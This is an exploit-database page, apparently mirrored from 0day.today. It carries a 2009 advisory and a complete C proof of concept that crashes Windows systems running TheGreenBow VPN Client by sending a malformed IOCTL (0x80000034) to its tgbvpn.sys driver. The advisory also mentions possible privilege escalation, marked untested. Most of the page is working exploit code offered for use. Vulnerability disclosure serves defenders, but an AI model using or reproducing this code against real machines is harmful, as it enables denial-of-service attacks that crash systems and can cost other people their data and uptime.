Lucene search

K

TheGreenBow VPN Client tgbvpn.sys Local DoS Exploit

🗓️ 18 Aug 2009 00:00:00Reported by EvilcryType 
zdt
 zdt
🔗 0day.today👁 37 Views

TheGreenBow VPN Client tgbvpn.sys Local DoS Exploit by Evilcr

Show more
Code
===================================================
TheGreenBow VPN Client tgbvpn.sys Local DoS Exploit
===================================================


Author: Giuseppe 'Evilcry' Bonfa'

Release Date: 15/08/2009

+-------------------------------------------------+
Product: TheGreenBow VPN Client 4.61.003  (other versions could be affected)
Affected Component: tgbvpn.sys
Category: Local Denial of Service (BSOD)
         (untested) Local Privilege Escalation

+-------------------------------------------------+



--------------------------[Details]--------------->

TheGreenBow's tgbvpn.sys Driver does not sanitize user supplied input
(IOCTL)
and this lead to a Driver Collapse that propagates on the system with a
BSOD,
and potential risk of Privilege Escalation.

Affected IOCTL is 0x80000034

Transfer Type: METHOD_BUFFERED

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
ef1cabf4 841d36a8 ef1cac58 841d36a8 f42dd895 tgbvpn+0x9f51
00000000 00000000 00000000 00000000 00000000 0x841d36a8


+--------------------------------------------------------------------------------------------+
/* tgbvpn.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry {AT} gmail. {DOT} com
 * Website: http://evilcry.netsons.org
 * http://evilcodecave.blogspot.com
 * http://evilcodecave.wordpress.com
 * http://evilfingers.com
 * http://malwareAnalytics.com [under construction]
 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
   HANDLE hDevice;
   DWORD Junk;



   system("cls");
   printf("\n .:: TheGreenBow DoS Proof of Concept ::.\n");

   hDevice = CreateFileA("\\\\.\\tgbvpn",
                       0,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       0,
                       NULL);

   if (hDevice == INVALID_HANDLE_VALUE)
   {
       printf("\n Unable to Device Driver\n");
       return EXIT_FAILURE;
   }

   DeviceIoControl(hDevice, 0x80000034,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Junk, (LPOVERLAPPED)NULL);


   return EXIT_SUCCESS;
}

+--------------------------------------------------------------------------------------------+



#  0day.today [2018-01-02]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
18 Aug 2009 00:00Current
7High risk
Vulners AI Score7
37
.json
Report